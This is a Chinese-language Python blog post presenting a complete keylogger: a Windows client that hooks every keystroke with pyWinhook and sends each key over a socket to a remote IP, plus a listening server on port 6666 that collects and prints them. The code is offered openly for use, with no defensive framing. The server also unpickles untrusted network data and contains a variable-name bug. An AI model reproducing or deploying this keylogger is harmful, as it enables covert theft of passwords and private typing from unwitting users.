python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现Linux命令xxd -i功能
Mar 06 Python
Python中线程的MQ消息队列实现以及消息队列的优点解析
Jun 29 Python
Python程序中设置HTTP代理
Nov 06 Python
python实现随机森林random forest的原理及方法
Dec 21 Python
详解python使用turtle库来画一朵花
Mar 21 Python
python 读取修改pcap包的例子
Jul 23 Python
python中open函数的基本用法示例
Sep 07 Python
python 画函数曲线示例
Dec 04 Python
django框架基于queryset和双下划线的跨表查询操作详解
Dec 11 Python
将python文件打包exe独立运行程序方法详解
Feb 12 Python
python 爬虫爬取京东ps4售卖情况
Dec 18 Python
python中openpyxl和xlsxwriter对Excel的操作方法
Mar 01 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
VML绘图板②脚本--VMLgraph.js、XMLtool.js
2006/10/09 PHP
php中获取指定IP的物理地址的代码(正则表达式)
2011/06/23 PHP
探讨:使用XMLSerialize 序列化与反序列化
2013/06/08 PHP
php+mysql数据库实现无限分类的方法
2014/12/12 PHP
php curl 上传文件代码实例
2015/04/27 PHP
Zend Framework教程之Zend_Registry对象用法分析
2016/03/22 PHP
laravel中命名路由的使用方法
2017/02/24 PHP
基于PHP实现的多元线性回归模拟曲线算法
2018/01/30 PHP
JavaScript更改class和id的方法
2008/10/10 Javascript
javascript笔试题目附答案@20081025_jb51.net
2008/10/26 Javascript
通过javascript设置css属性的代码
2009/12/28 Javascript
解决Extjs 4 Panel作为Window组件的子组件时出现双重边框问题
2013/01/11 Javascript
Jquery实现仿新浪微博获取文本框能输入的字数代码
2013/02/22 Javascript
Web跨浏览器进程通信(Web跨域)
2013/04/17 Javascript
js加入收藏以及使用Jquery更改透明度
2014/01/26 Javascript
jQuery+CSS3文字跑马灯特效的简单实现
2016/06/25 Javascript
纯css下拉菜单 无需js
2016/08/15 Javascript
使用JavaScript进行表单校验功能
2017/08/01 Javascript
实例讲解javascript实现异步图片上传方法
2017/12/05 Javascript
关于redux-saga中take使用方法详解
2018/02/27 Javascript
vue.js将时间戳转化为日期格式的实现代码
2018/06/05 Javascript
vue+springmvc导出excel数据的实现代码
2018/06/27 Javascript
浅谈vue在html中出现{{}}的原因及解决方式
2020/11/16 Javascript
Python中生成Epoch的方法
2017/04/26 Python
python+selenium开发环境搭建图文教程
2017/08/11 Python
利用python在大量数据文件下删除某一行的例子
2019/08/21 Python
Python实现打印实心和空心菱形
2019/11/23 Python
解决python-docx打包之后找不到default.docx的问题
2020/02/13 Python
详解python tkinter 图片插入问题
2020/09/03 Python
详解HTML5 Canvas绘制时指定颜色与透明度的方法
2016/03/25 HTML / CSS
Feelunique德国官方网站:欧洲最大的在线美容零售商
2019/07/20 全球购物
大学社团活动策划书
2014/01/26 职场文书
家长对孩子的感言
2014/03/10 职场文书
家长寄语大全
2014/04/02 职场文书
学校远程教育工作总结
2015/08/11 职场文书
gateway网关接口请求的校验方式
2021/07/15 Java/Android